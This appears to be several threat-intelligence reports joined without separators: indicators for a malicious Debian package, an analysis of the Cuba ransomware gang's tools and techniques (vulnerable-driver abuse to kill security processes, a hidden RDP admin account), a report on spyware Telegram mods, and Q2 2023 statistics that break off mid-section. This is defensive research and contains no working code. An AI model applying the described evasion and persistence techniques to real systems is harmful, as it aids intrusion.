b77f63f14d0b2bde3f4f62f4323aad87194da11d71c117a487e18ff3f2cd468d (Malicious Debian Package)
2214c7a0256f07ce7b7aab8f61ef9cbaff10a456c8b9f2a97d8f713abd660349 (crond backdoor)
93358bfb6ee0caced889e94cd82f6f417965087203ca9a5fce8dc7f6e1b8a3ea (bs backdoor)
d73be6e13732d365412d71791e5eb1096c7bb13d6f7fd533d8c04392ca0b69b5 (atd uploader)

File paths
/etc/cron.d/collect
/var/tmp/crond
/var/tmp/bs
/var/tmp/atd

Network indicators
fdmpkg[.]org
172.111.48[.]101

Introduction

Knowledge is our best weapon in the fight against cybercrime. An understanding of how various gangs operate and what tools they use helps build competent defenses and investigate incidents. This report takes a close look at the history of the Cuba group, and their attack tactics, techniques and procedures. We hope this article will help you to stay one step ahead of threats like this one.

Cuba ransomware gang

Cuba data leak site

The group’s offensives first got on our radar in late 2020. Back then, the cybercriminals had not yet adopted the moniker “Cuba”; they were known as “Tropical Scorpius”.

Cuba mostly targets organizations in the United States, Canada and Europe. The gang has scored a series of resonant attacks on oil companies, financial services, government agencies and healthcare providers.

As with most cyberextortionists lately, the Cuba gang encrypts victims’ files and demands a ransom in exchange for a decryption key. The gang infamously uses complex tactics and techniques to penetrate victim networks, such as exploitation of software vulnerabilities and social engineering. They have been known to use compromised remote desktop (RDP) connections for initial access.

The Cuba gang’s exact origins and the identities of its members are unknown, although some researchers believe it might be a successor to another ill-famed extortion gang, Babuk. The Cuba group, like many others of its kind, is a ransomware-as-a-service (RaaS) outfit, letting its partners use the ransomware and associated infrastructure in exchange for a share of any ransom they collect.

The group has changed names several times since its inception. We are currently aware of the following aliases it has used:

• ColdDraw
• Tropical Scorpius
• Fidel
• Cuba

This past February, we came across another name for the gang — “V Is Vendetta”, which deviated from the hackers’ favorite Cuban theme. This might have been a moniker used by a sub-group or affiliate.

There is an obvious connection with the Cuba gang: the newly discovered group’s website is hosted in the Cuba domain:

http[:]//test[.]cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd[.]onion/

Website of V IS VENDETTA

Cuba remains active as at the time of writing this, and we keep hearing about new extortion victims.

Victimology

In this section, we used data consensually provided by our users and information about victims from open sources, such as other security vendors’ reports and the data leak site of the ransomware gang itself.

The group has attacked numerous companies around the world. Industry affiliation does not seem to be a factor: victims have included retailers, financial and logistical services, government agencies, manufacturers, and others. In terms of geography, most of the attacked companies have been located in the United States, but there have been victims in Canada, Europe, Asia and Australia.

Geographic distribution of Cuba victims

Ransomware

The Cuba ransomware is a single file without additional libraries. Samples often have a forged compilation timestamp: those found in 2020 were stamped with June 4, 2020, and more recent ones, June 19th, 1992.

Cuba extortion model

Extortion models

Four extortion models exist today in terms of tools used for pressuring the victim.

• Single extortion: encrypting data and demanding a ransom just for decryption.
• Double extortion: besides encrypting, attackers steal sensitive information. They threaten to both withhold the encryption key and publish the stolen information online unless the victim pays up. This is the most popular model among ransomware gangs today.
• Triple extortion: adding a threat to expose the victim’s internal infrastructure to DDoS attacks. The model became widespread after the LockBit gang got DDoS’ed, possibly by a victim. After getting targeted, the hackers realized that DDoS was an effective pressure tool, something they stated openly, setting an example for others. To be fair, isolated cases of triple extortion predate the LockBit case.
• The fourth model is the least common one, as it implies maximum pressure and is thus more costly. It adds spreading news of the breach among the victim’s investors, shareholders and customers. DDoS attacks in that case are not necessary. This model is exemplified by the recent hack of Bluefield University in Virginia, where the AvosLocker ransomware gang hijacked the school’s emergency broadcast system to send students and staff SMS texts and email alerts that their personal data had been stolen. The hackers urged not to trust the school’s management, who they said were concealing the true scale of the breach, and to make the situation public knowledge as soon as possible.

The Cuba group is using the classic double extortion model, encrypting data with the Xsalsa20 symmetric algorithm, and the encryption key, with the RSA-2048 asymmetric algorithm. This is known as hybrid encryption, a cryptographically secure method that prevents decryption without the key.

Cuba ransomware samples avoid encrypting files with the following name extensions: .exe, .dll, .sys, .ini, .lnk, .vbm and .cuba, and the following folders:

• \windows\
• \program files\microsoft office\
• \program files (x86)\microsoft office\
• \program files\avs\
• \program files (x86)\avs\
• \$recycle.bin\
• \boot\
• \recovery\
• \system volume information\
• \msocache\
• \users\all users\
• \users\default user\
• \users\default\
• \temp\
• \inetcache\
• \google\

The ransomware saves time by searching for, and encrypting, Microsoft Office documents, images, archives and others in the %AppData%\Microsoft\Windows\Recent\ directory, rather than all files on the device. It also terminates all SQL services to encrypt any available databases. It looks for data both locally and inside network shares.

List of services that the Cuba ransomware terminates

Besides encrypting, the group steals sensitive data that it discovers inside the victim’s organization. The type of data that the hackers are after depends on the industry that the target company is active in, but in most cases, they exfiltrate the following:

• Financial documents
• Bank statements
• Company accounts details
• Source code, if the company is a software developer

Arsenal

The group employs both well-known, “classic” credential access tools, such as mimikatz, and self-written applications. It exploits vulnerabilities in software used by the victim companies: mostly known issues, such as the combination of ProxyShell and ProxyLogon for attacking Exchange servers, and security holes in the Veeam data backup and recovery service.

Malware

• Bughatch
• Burntcigar
• Cobeacon
• Hancitor (Chanitor)
• Termite
• SystemBC
• Veeamp
• Wedgecut
• RomCOM RAT

Tools

• Mimikatz
• PowerShell
• PsExec
• Remote Desktop Protocol

Vulnerabilities

ProxyShell:

• CVE-2021-31207
• CVE-2021-34473
• CVE-2021-34523

ProxyLogon:

• CVE-2021-26855
• CVE-2021-26857
• CVE-2021-26858
• CVE-2021-27065

Veeam vulnerabilities:

• CVE-2022-26501
• CVE-2022-26504
• CVE-2022-26500

ZeroLogon:

• CVE-2020-1472

Mapping of the attack arsenal to MITRE ATT&CK® tactics

Profits

The incoming and outgoing payments in the bitcoin wallets whose identifiers the hackers provide in their ransom notes exceed a total of 3,600 BTC, or more than $103,000,000 converted at the rate of $28,624 for 1 BTC. The gang owns numerous wallets, constantly transferring funds between these, and uses bitcoin mixers: services that send bitcoins through a series of anonymous transactions to make the origin of the funds harder to trace.

Part of the transaction tree in the BTC network

Investigation of a Cuba-related incident and analysis of the malware Host: SRV_STORAGE

On December 19, we spotted suspicious activity on a customer host, which we will refer to as “SRV_STORAGE” in this report. Telemetry data showed three suspicious new files:

Suspicious events in the telemetry data as discovered by the Kaspersky SOC

An analysis of kk65.bat suggested that it served as a stager that initiated all further activity by starting rundll32 and loading the komar65 library into it, which runs the callback function DLLGetClassObjectGuid.

Contents of the .bat file that we found

Let us take a look inside the suspicious DLL.

Bughatch

The komar65.dll library is also known as “Bughatch”, a name it was given in a report by Mandiant.

The first thing that caught our attention was the path to the PDB file. There’s a folder named “mosquito” in it, which translates into Russian as “komar”. The latter is a part of the DDL name suggesting the gang may include Russian speakers.

Path to the komar65.dll PDB file

The DLL code presents Mozilla/4.0 as the user agent when connecting to the following two addresses:

• com, apparently used for checking external connectivity
• The gang’s command-and-control center. The malware will try calling home if the initial ping goes through.

Analysis of komar65.dll

This is the kind of activity we observed on the infected host. After Bughatch successfully established a connection with the C2 server, it began collecting data on network resources.

Bughatch activity

Looking into the C2 servers, we found that in addition to Bughatch, these spread modules that extend the malware’s functionality. One of those collects information from the infected system and sends it back to the server in the form of an HTTP POST request.

Files we found on the Cuba C2 servers

One could think of Bughatch as a backdoor of sorts, deployed inside the process memory and executing a shellcode block within the space it was allocated with the help of Windows APIs (VirtualAlloc, CreateThread, WaitForSingleObject), to then connect to the C2 and await further instructions. In particular, the C2 may send a command to download further malware, such as Cobalt Strike Beacon, Metasploit, or further Bughatch modules.

Bughatch operating diagram

SRV_Service host Veeamp

After some time, we found a malicious process started on a neighboring host; we dubbed this “SRV_Service”:

Malicious process starting

Veeamp.exe is a custom-built data dumper written in C#, which leverages security flaws in the Veeam backup and recovery service to connect to the VeeamBackup SQL database and grab account credentials.

Analysis of Veeamp

Veeamp exploits the following Veeam vulnerabilities: CVE-2022-26500, CVE-2022-26501, CVE-2022-26504. The first two allow an unauthenticated user to remotely execute arbitrary code, and the third one, lets domain users do the same. After any of the three are exploited, the malware outputs the following in the control panel:

• User name
• Encrypted password
• Decrypted password
• User description in the Credentials table of Veeam: group membership, permissions and so on

The malware is not exclusive to the Cuba gang. We spotted it also in attacks by other groups, such as Conti and Yanluowang.

Activity we saw on SRV_Service after Veeamp finished its job was similar to what we had observed on SRV_STORAGE with Bughatch:

Bughatch activity on SRV_Service

As was the case with SRV_STORAGE, the malware dropped three files into the temp folder, and then executed these in the same order, connecting to the same addresses.

Avast Anti-Rootkit driver

After Bughatch successfully established a connection to its C2, we watched as the group used an increasingly popular technique: Bring Your Own Vulnerable Driver (BYOVD).

Exploiting a vulnerable driver

The malicious actors install the vulnerable driver in the system and subsequently use it to various ends, such as terminating processes or evading defenses through privilege escalation to kernel level.

Hackers are drawn to vulnerable drivers because they all run in kernel mode, with a high level of system access. Besides, a legitimate driver with a digital signature will not raise any red flags with security systems, helping the attackers to stay undetected for longer.

During the attack, the malware created three files in the temp folder:

• aswarpot.sys: a legitimate anti-rootkit driver by Avast that has two vulnerabilities: CVE-2022-26522 and CVE-2022-26523, which allow a user with limited permissions to run code at kernel level.
• KK.exe: malware known as Burntcigar. The file we found was a new variety that used the flawed driver to terminate processes.
• av.bat batch script: a stager that helps the kernel service to run the Avast driver and executes Burntcigar.

Analysis of the BAT file and telemetry data suggests that av.bat uses the sc.exe utility to create a service named “aswSP_ArPot2”, specifying the path to the driver in the С\windows\temp\ directory and the service type as kernel service. The BAT file then starts the service with the help of the same sc.exe utility and runs KK.exe, which connects to the vulnerable driver.

Contents of the .bat file that we found

Burntcigar

The first thing we noticed while looking into Burntcigar was the path to the PDB file, which contained a folder curiously named “Musor” (the Russian for “trash”), more indication that the members of the Cuba gang may speak Russian.

Path to the KK.exe PDB file

We further discovered that the sample at hand was a new version of Burntcigar, undetectable by security systems at the time of the incident. The hackers had apparently updated the malware, as in the wake of previous attacks, many vendors were able to easily detect the logic run by older versions.

You may have noticed that in the screenshot of our sample below, all data about processes to be terminated is encrypted, whereas older versions openly displayed the names of all processes that the attackers wanted stopped.

Comparison between the old and new version of Burntcigar

The malware searches for process names that suggest a relation to popular AV or EDR products and adds their process IDs to the stack to terminate later.

Burntcigar uses the DeviceIoContol function to access the vulnerable Avast driver, specifying the location of the code that contains the security issue as an execution option. The piece of code contains the ZwTerminateProcess function, which the attackers use for terminating processes.

Analysis of Burntcigar

Fortunately, our product’s self-defense was able to cope with the malware by blocking all hooks to the driver.

Later, we discovered similar activity exploiting the Avast anti-rootkit driver on the Exchange server and the SRV_STORAGE host. In both cases, the attackers used a BAT file to install the insecure driver and then start Burntcigar.

Burntcigar activity on the neighboring hosts

SRV_MAIL host (Exchange server)

On December 20, the customer granted our request to add the Exchange server to the scope of monitoring. The host must have been used as an entry point to the customer network, as the server was missing critical updates, and it was susceptible to most of the group’s initial access vectors. In particular, SRV_MAIL had the ProxyLogon, ProxyShell and Zerologon vulnerabilities still unremediated. This is why we believe that the attackers penetrated the customer network through the Exchange server.

Telemetry data starts coming in

On SRV_MAIL, the SqlDbAdmin user showed the same kind of activity as that which we had observed on the previous hosts.

Malicious activity by SqlDbAdmin

We found that the attackers were using the legitimate gotoassistui.exe tool for transferring malicious files between the infected hosts.

GoToAssist is an RDP support utility often used by technical support teams, but the application is often abused to bypass any security defenses or response teams when moving files between systems.

Sending malicious files via gotoassistui.exe

We also found that new Bughatch samples were being executed. These used slightly different file names, callback functions and C2 servers, as our systems were successfully blocking older versions of the malware at that time.

Bughatch activity

SqlDbAdmin

We wondered who that SqlDbAdmin was. The answer came through a suspicious DLL, addp.dll, which we found manually on a compromised host.

Suspicious dynamic library

We found that it used the WIN API function NetUserAdd to create the user. The name and password were hard-coded inside the DLL.

Analysis of addp.dll

As we looked further into the library, we found that it used the RegCreateKey function to enable RDP sessions for the newly created user by modifying a registry setting. The library then added the user to the Special Account registry tree to hide it from the system login screen, an interesting and fairly unconventional persistence technique. In most cases, bad actors add new users with the help of scripts thatsecurity products rarely miss.

Analysis of addp.dll

Cobalt Strike

We found a suspicious DLL, ion.dll, running on the Exchange server as part of the rundll32 process with unusual execution options. At first, we figured that the activity was similar to what we had earlier seen with Bughatch. However, further analysis showed that the library was, in fact, a Cobalt Strike Beacon.

Execution of the suspicious ion.dll file

When we were looking at the ion.dll code, what caught our attention was execution settings and a function that uses the Cobalt Strike configuration. The library used the VirtualAlloc function for allocating process memory to execute the Cobalt Strike Beacon payload in, later.

Analysis of ion.dll

All configuration data was encrypted, but we did find the function used for decrypting that. To find the Cobalt Strike C2 server, we inspected a rundll32 memory dump with ion.dll loaded into it, running with the same settings it did on the victim host.

Memory dump of rundll32

Finding out the name of the C2 helped us to locate the history of communications with that server within the telemetry data. After the malware connected to the C2, it downloaded two suspicious files into the Windows folder on the infected server and then executed these. Unfortunately, we were not able to obtain the two files for analysis, as the hackers had failed to disable security at the previous step, and the files were wiped off the infected host. We do believe, though, that what we were dealing with was the ransomware itself.

Communications with the attackers’ C2 server

The customer promptly isolated the affected hosts and forwarded the incident to the Kaspersky Incident Response team for further investigation and search for possible artifacts. This was the last we saw of the malicious actor’s activity in the customer system. The hosts avoided encryption thanks to the customer following our recommendations and directions, and responding to the incident in time.

New malware

We found that VirusTotal contained new samples of the Cuba malware with the same file metadata as the ones in the incident described above. Some of those samples had successfully evaded detection by all cybersecurity vendors. We ran our analysis on each of the samples. As you can see from the screenshot below, these are new versions of Burntcigar using encrypted data for anti-malware evasion. We have made Yara rules that detect these new samples, and we are providing these in the attachment to this article.

New malware samples

BYOVD (Bring Your Own Vulnerable Driver)

We will now take a closer look at an attack that uses insecure drivers, which we observed as we investigated the incident and which is currently growing in popularity as various APT and ransomware gangs add it to their arsenals.

Bring Your Own Vulnerable Driver (BYOVD) is a type of attack where the bad actor uses legitimate signed drivers that are known to contain a security hole to execute malicious actions inside the system. If successful, the attacker will be able to exploit the vulnerabilities in the driver code to run any malicious actions at kernel level!

Understanding why this is one of the most dangerous kinds of attacks takes a quick refresher on what drivers are. A driver is a type of software that acts as an intermediary between the operating system and the device. The driver converts OS instructions into commands that the device can interpret and execute. A further use of drivers is supporting applications or features that the operating system originally lacks. As you can see from the image below, the driver is a layer of sorts between user mode and kernel mode.

User mode and kernel mode interaction diagram. Source:
https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode

Applications running in user mode have fewer privileges to control the system. All they can get access to is a virtualized memory area that is isolated and protected from the rest of the system. The driver runs inside the kernel memory, and it can execute any operations just like the kernel itself. The driver can get access to critical security structures and modify those. Modifications like that make the system liable to attacks that use privilege escalation, disabling of OS security services, and arbitrary reading and writing.

The Lazarus gang made use of that technique in 2021 as they gained write access to kernel memory and disabled Windows security features by abusing a Dell driver that contained the CVE-2021-21551 vulnerability.

There is no sure-fire defense from legitimate drivers, because any driver could prove to have a security flaw. Microsoft has published a list of recommendations to protect against this type of techniques:

• Enable Hypervisor-Protected Code Integrity.
• Enable Memory Integrity.
• Enable validation of driver digital signatures.
• Use the vulnerable driver blocklist.

However, studies suggest that the recommendations are irrelevant even with every Windows protection feature enabled, and attacks like these go through anyway.

To counter this technique, many security vendors started adding a self-defense module into their products that prevents malware from terminating processes and blocks every attempt at exploiting vulnerable drivers. Our products have that feature too, and it proved effective during the incident.

Conclusion

The Cuba cybercrime gang employs an extensive arsenal of both publicly available and custom-made tools, which it keeps up to date, and various techniques and methods including fairly dangerous ones, such as BYOVD. Combating attacks at this level of complexity calls for sophisticated technology capable of detecting advanced threats and protecting security features from being disabled, and a massive, continuously updated threat knowledge base that helps to detect malicious artifacts manually.

The incident detailed in this article shows that investigation of real-life cyberattacks and incident response, such as Managed Detection and Response (MDR), are sources of the latest information about malicious tactics, techniques and procedures. In particular, during this investigation, we discovered new and previously undetected samples of the Cuba malware, and artifacts suggesting that at least some of the gang members spoke Russian.

That said, effective investigation and response begin with knowledge of current cyberthreats, which is available from Threat Intelligence services. At Kaspersky, the Threat Intelligence and MDR teams work closely while exchanging data and enhancing their services all the time.

Appendix

Sigma and YARA rules: https://github.com/BlureL/SigmaYara-Rules
Indicators of Compromise: Download PDF
Mitre ATT&CK matrices: Download PDF

A while ago we discovered a bunch of Telegram mods on Google Play with descriptions in traditional Chinese, simplified Chinese and Uighur. The vendor says these are the fastest apps which use a distributed network of data processing centers around the world.

What can possibly be wrong with a Telegram mod duly tested by Google Play and available through the official store? Well, lots of things, as a matter of fact: not only do threat actors find ways to penetrate Google Play, but they also sell their stuff. So, we went on to analyze the messenger mod.

When launched, the app is no different from the original Telegram.

But let’s take a look at its code to be on the safe side.

At first it gives an impression of a perfectly ordinary Telegram mod: most packages look the same as the standard ones. But, on closer examination, you can see the package called com.wsys, which is not typical for Telegram. Let’s see what functions call this package methods.

Functions calling the suspicious com.wsys library

The list of functions that call com.wsys, suggests that this piece of code means to get access to the user’s contacts. It looks fishy to say the least, considering that the package is not a part of the messenger’s standard feature set.

connectSocket()

The com.wsys library runs in the connectSocket() method added to the main activity class responsible for the app’s start screen. The method is called when you start the app or switch to another account. It collects such user-related information as name, user ID, and phone number, after which the app connects to the command server.

Connecting to the command server

One more unpleasant surprise awaits the user when receiving a message: in the incoming message processing code, threat actors have added a call for the uploadTextMessageToService method.

Incoming message processing by the malware

Compare: the clean Telegram version does not contain the method in the same code area.

Incoming message processing by Telegram

When receiving a message, uploadTextMessageToService collects its contents, chat/channel title and ID, as well as sender’s name and ID. The collected information is then encrypted and cached into a temporary file named tgsync.s3. The app sends this temporary file to the command server at certain intervals.

Encryption of exfiltrated data

The app’s malicious functionality does not end at stealing messages. A call for the uploadFriendData method has been added to the contacts processing code.

uploadFriendData

The method is used to collect information about the user’s contacts: IDs, nicknames, names, and phone numbers. All these go to the command server much in the same way.

If the user decides to change their name of phone number, this information will end up in rogue hands as well.

Collection of changed user data

When the user receives or sends a file, the app creates an encrypted copy of it which then get forwarded to the attackers’ account residing in one of the popular cloud storages.

Exfiltration of sent files

Conclusion

Attacks employing various unofficial Telegram mods are on the rise of late. Often, they replace crypto wallet addresses in users’ messages or perform ad fraud. Unlike those, the apps described in this article come from a class of full-fledged spyware targeted at users from a specific locale (China) and capable of stealing the victim’s entire correspondence, personal data, and contacts. And yet their code is only marginally different from the original Telegram code for smooth Google Play security checks.

As you can see, being an official store item does not guarantee an app’s security, so be wary of third-party messenger mods, even those distributed by Google Play. We reported the threat to Google but, as of the time of writing, some of the apps are still available for downloading.

IOC

Md5
39df26099caf5d5edf264801a486e4ee
b9e9a29229a10deecc104654cb7c71ae
e0dab7efb9cea5b6a010c8c5fee1a285
Efcbcd6a2166745153c329fd2d486b3a
8e878695aab7ab16e38265c3a5f17970
65377fa1d86351c7bd353b51f68f6b80
19f927386a03ce8d2866879513f37ea0
a0e197b9c359b89e48c3f0c01af21713
c7a8c3c78ac973785f700c537fbfcb00

С&C
sg[.]telegrnm[.]org

• IT threat evolution in Q2 2023
• IT threat evolution in Q2 2023. Non-mobile statistics
• IT threat evolution in Q2 2023. Mobile statistics

These statistics are based on detection verdicts of Kaspersky products and services received from users who consented to providing statistical data.

Quarterly figures

According to Kaspersky Security Network, in Q2 2023:

• Kaspersky solutions blocked 801,934,281 attacks from online resources across the globe.
• A total of 209,716,810 unique links were detected by Web Anti-Virus components.
• Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 95,546 unique users.
• Ransomware attacks were defeated on the computers of 57,612 unique users.
• Our File Anti-Virus detected 39,624,768 unique malicious and potentially unwanted objects.

Financial threats Financial threat statistics

In Q2 2023, Kaspersky solutions blocked malware designed to steal money from bank accounts on the computers of 95,546 unique users.

Number of unique users attacked by financial malware, Q2 2023 (download)

Geography of financial malware attacks

To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country and territory we calculated the share of Kaspersky users who faced this threat during the reporting period as a percentage of all users of our products in that country or territory.

TOP 10 countries and territories by share of attacked users

Country or territory* %** 1 Afghanistan 3.7 2 Turkmenistan 3.6 3 Tajikistan 3.2 4 China 2.1 5 Switzerland 2.0 6 Yemen 1.8 7 Egypt 1.7 8 Venezuela 1.6 9 Azerbaijan 1.5 10 Spain 1.4

* Excluded are countries and territories with relatively few Kaspersky users (under 10,000).
** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 banking malware families

Name Verdicts %* 1 Ramnit/Nimnul Trojan-Banker.Win32.Ramnit 30.0 2 Zbot/Zeus Trojan-Banker.Win32.Zbot 25.3 3 Emotet Trojan-Banker.Win32.Emotet 11.9 4 CliptoShuffler Trojan-Banker.Win32.CliptoShuffler 5.9 5 Trickster/Trickbot Trojan-Banker.Win32.Trickster 5.5 6 Danabot Trojan-Banker.Win32.Danabot 1.7 7 SpyEyes Trojan-Spy.Win32.SpyEye 1.4 8 Tinba Trojan-Banker.Win32.Tinba 1.4 9 Qbot/Qakbot Trojan-Banker.Win32.Qbot 1.4 10 IcedID Trojan-Banker.Win32.IcedID 0.6

* Unique users who encountered this malware family as a percentage of all users attacked by financial malware.

Ransomware programs Quarterly trends and highlights MOVEit Transfer vulnerabilities exploited

The Cl0p ransomware gang began heavily exploiting vulnerabilities in MOVEit Transfer, a secure file transfer software solution used by organizations around the world. In late May, the cybercriminals took advantage of what at the time were zero-day vulnerabilities in the application, successfully compromising the networks of numerous companies and gaining access to confidential data. The vulnerabilities in MOVEit Transfer exploited by the attackers in that series of incidents were later assigned the identifiers CVE-2023-34362, CVE-2023-35708, and CVE-2023-35036.

Attacks on municipal organizations, educational and healthcare establishments

Q2 saw a considerable number of reports about ransomware attacks on municipal organizations, hospitals, and colleges. Among those organizations who had their networks compromised and data stolen, were Louisiana’s Office of Motor Vehicles (OMV) and the Oregon Driver and Motor Vehicle Services Division (DMV). The Cl0p group, which claimed responsibility for the attacks, leveraged the aforementioned MOVEit vulnerability.

The City of Augusta, Georgia was hit by BlackByte; Dallas, Texas, by Royal; Bluefield University, Virginia, by Avos; and the Open University of Cyprus, by Medusa.

According to the FBR, the Bl00dy group attacked educational organizations in May by taking advantage of the CVE-2023-27350 vulnerability in PaperCut, print management software used by tens of thousands of businesses.

Certain ransomware gangs had said they would not target this kind of organizations, but many cybercriminals obviously failed to stick to their declared moral principles.

Most prolific groups

This section looks at ransomware groups that engage in so-called “double extortion”, that is stealing and encrypting confidential data. Most of these groups target large companies, and often maintain a DLS (data leak site), where they publish a list of organizations they have attacked. The list of the busiest ransomware gangs in Q2 2023 looked as follows.

The most prolific ransomware gangs, Q2 2023 (download)

The diagram shows each group’s share in the total number of victims published on all the groups’ DLSs.

Number of new modifications

In Q2 2023, we detected 15 new ransomware families and 1917 new modifications of this malware type.

Number of new ransomware modifications, Q2 2022 — Q2 2023 (download)

Number of users attacked by ransomware Trojans

In Q2 2023, Kaspersky products and technologies protected 57,612 users from ransomware attacks.

Number of unique users attacked by ransomware Trojans, Q2 2023 (download)

Geography of attacked users

TOP 10 countries and territories attacked by ransomware Trojans

Country or territory* %** 1 Bangladesh 1.38 2 South Korea 1.25 3 Yemen 1.18 4 Taiwan 1.07 5 Mozambique 0.55 6 Pakistan 0.41 7 Iraq 0.33 8 Mainland China 0.29 9 Nigeria 0.27 10 Libya 0.26

* Excluded are countries and territories with relatively few Kaspersky users (under 50,000).
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans Name Verdicts* Share of attacked users** 1 WannaCry Trojan-Ransom.Win32.Wanna 13.67 2 Magniber Trojan-Ransom.Win64.Magni / Trojan-Ransom.Win32.Magni 13.58 3 (generic verdict) Trojan-Ransom.Win32.Encoder 11.74 4 Stop/Djvu Trojan-Ransom.Win32.Stop 6.91 5 (generic verdict) Trojan-Ransom.Win32.Phny 6.01 6 (generic verdict) Trojan-Ransom.Win32.Crypren 5.58 7 PolyRansom/VirLock Trojan-Ransom.Win32.PolyRansom / Virus.Win32.PolyRansom 2.88 8 (generic verdict) Trojan-Ransom.Win32.Agent 2.49 9 CryFile Trojan-Ransom.Win32.CryFile 1.33 10 Lockbit Trojan-Ransom.Win32.Lockbit 1.27

* Statistics are based on detection verdicts of Kaspersky products. The information was provided by Kaspersky product users who consented to providing statistical data.
** Unique Kaspersky users attacked by specific ransomware Trojan families as a percentage of all unique users attacked by ransomware Trojans.

Miners Number of new miner modifications

In Q2 2023, Kaspersky solutions detected 2184 new miner modifications.

Number of new miner modifications, Q2 2023 (download)

Number of users attacked by miners

In Q2, we detected attacks using miners on the computers of 384,063 unique users of Kaspersky products worldwide.

Number of unique users attacked by miners, Q2 2023 (download)

Geography of miner attacks

TOP 10 countries and territories attacked by miners

Country or territory* %** 1 Tajikistan 3.06 2 Kazakhstan 2.14 3 Kyrgyzstan 1.97 4 Uzbekistan 1.89 5 Venezuela 1.81 6 Mozambique 1.68 7 Belarus 1.54 8 Ukraine 1.47 9 Rwanda 1.28 10 Ethiopia 1.28

* Excluded are countries and territories with relatively few users of Kaspersky products (under 50,000).
** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Vulnerable applications used by criminals during cyberattacks Quarterly highlights

Q2 2023 was notable for the discovery of a series of vulnerabilities that impacted a fairly large number of organizations. The most resonant ones were the aforementioned vulnerabilities in MOVEit Transfer: CVE-2023-34362, CVE-2023-35036, and CVE-2023-35708. To exploit these, attackers used SQL injection to get access to the database and execute code on the server side.

The PaperCut print management application was plagued by a similar critical issue: a vulnerability designated as CVE-2023-27350. Attackers can use it to run a command in the operating system with System permissions with a specially crafted request. The vulnerability has been used by criminals as well.

New vulnerabilities in Google Chrome, Microsoft Windows, and Microsoft Office were discovered while detecting attacks on user systems. Google Chrome was found to contain two type confusion vulnerabilities (CVE-2023-2033 and CVE-2023-3079 ) and one integer overflow vulnerability (CVE-2023-2136). The above vulnerabilities, detected while they were being exploited, allowed an attacker to escape the browser sandbox. Developers’ patches for the relevant software are available.

Zero-day vulnerabilities were found in Windows while preventing attacks on users, with one of these (CVE-2023-28252) discovered by Kaspersky researchers. CVE-2023-29336, a Win32k subsystem flaw that allowed attackers to gain System privileges, and CVE-2023-24932 a Secure Boot bypass vulnerability that malicious actors could leverage to replace any system files, were discovered in Q2 as well. Microsoft fixes for each of the vulnerabilities are out, and we strongly encourage you to install all the relevant patches.

Vulnerability statistics

Kaspersky products detected roughly 300,000 exploitation attempts in Q2. Most of the detects, as always, were associated with Microsoft Office applications. Their share (75.53%) of the total was almost 3 pp below the previous period’s figure.

The most frequently exploited vulnerabilities were as follows:

• CVE-2017-11882 and CVE-2018-0802: Equation Editor vulnerabilities that allow corrupting application memory during formula processing to then run arbitrary code in the system
• CVE-2017-0199 allows using MS Office to load malicious scripts.
• CVE-2017-8570 allows loading malicious HTA scripts into the system.

The next most common category was browser exploits (8.2% of the total, or 1 pp below the Q1 figure).

This was followed by exploits for the Java platform (4.83%), Android (4.33%), and Adobe Flash (4.10%).

Distribution of exploits used by cybercriminals, by type of attacked application, Q2 2023 (download)

The online threats in Q2 2023, as before, consisted of MSSQL and RDP brute-force attacks. EternalBlue and EternalRomance remained popular exploits for operating system vulnerabilities. Notable numbers of attacks and scans that targeted log4j-type vulnerabilities (CVE-2021-44228) were recorded.

Attacks on macOS

A version of the Lockbit for macOS was discovered in Q2. This ransomware used to target Linux, but now the operators have extended its reach.

The JokerSpy Python backdoor deployed modified TCC databases to the target device during an attack to bypass restrictions when starting applications on that device.

TOP 20 threats for macOS

Verdict %* 1 AdWare.OSX.Agent.ai 8.90 2 AdWare.OSX.Agent.gen 8.54 3 AdWare.OSX.Pirrit.ac 7.44 4 AdWare.OSX.Amc.e 6.65 5 AdWare.OSX.Bnodlero.ax 6.44 6 Monitor.OSX.HistGrabber.b 6.20 7 AdWare.OSX.Agent.ap 4.62 8 AdWare.OSX.Pirrit.j 4.62 9 Trojan.OSX.Agent.gen 4.33 10 Hoax.OSX.MacBooster.a 4.12 11 AdWare.OSX.Pirrit.ae 3.28 12 Trojan-Downloader.OSX.Agent.h 2.90 13 AdWare.OSX.Bnodlero.bg 2.80 14 AdWare.OSX.Agent.ao 2.78 15 Downloader.OSX.InstallCore.ak 2.46 16 Monitor.OSX.Agent.a 2.20 17 AdWare.OSX.Pirrit.aa 2.06 18 Backdoor.OSX.Twenbc.g 1.89 19 Backdoor.OSX.Twenbc.h 1.77 20 Hoax.OSX.IOBooster.gen 1.75

* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked.

In Q2, macOS users mainly encountered adware and “system optimizers” that asked money for fixing problems that did not exist.

Geography of threats for macOS

TOP 10 countries and territories by share of attacked users

Country or territory* %** 1 Hong Kong 1.40 2 Mainland China 1.19 3 Italy 1.16 4 France 1.06 5 United States 1.04 6 Mexico 0.98 7 Spain 0.96 8 Australia 0.86 9 United Kingdom 0.81 10 Russian Federation 0.81

* Excluded from the rankings are countries and territories with relatively few users of Kaspersky security solutions for macOS (under 10,000).
** Unique attacked users as a percentage of all users of Kaspersky macOS security products in the country/territory.

Hong Kong and mainland China had the largest shares of attacked macOS users: 1.4% and 1.19%, respectively. The frequency of attacks in Italy, Spain, France, Russia, Mexico, and Canada was down. Other countries saw insignificant changes.

IoT attacks IoT threat statistics

In Q2 2023, most devices that attacked Kaspersky honeypots again used the Telnet protocol.

Telnet 75.49% SSH 24.51%

Distribution of attacked services by number of unique IP addresses of attacking devices, Q2 2023

In terms of session numbers, Telnet accounted for the absolute majority.

Telnet 95.63% SSH 4.37%

Distribution of cybercriminal working sessions with Kaspersky traps, Q2 2023

Attacks on IoT honeypots

The main sources of SSH attacks in Q2, as usual, were the United States (11.5%) and Asia and the Pacific. The increase in mainland China’s share was especially notable: from 6.80% to 12.63%.

TOP 10 countries/territories as sources of SSH attacks

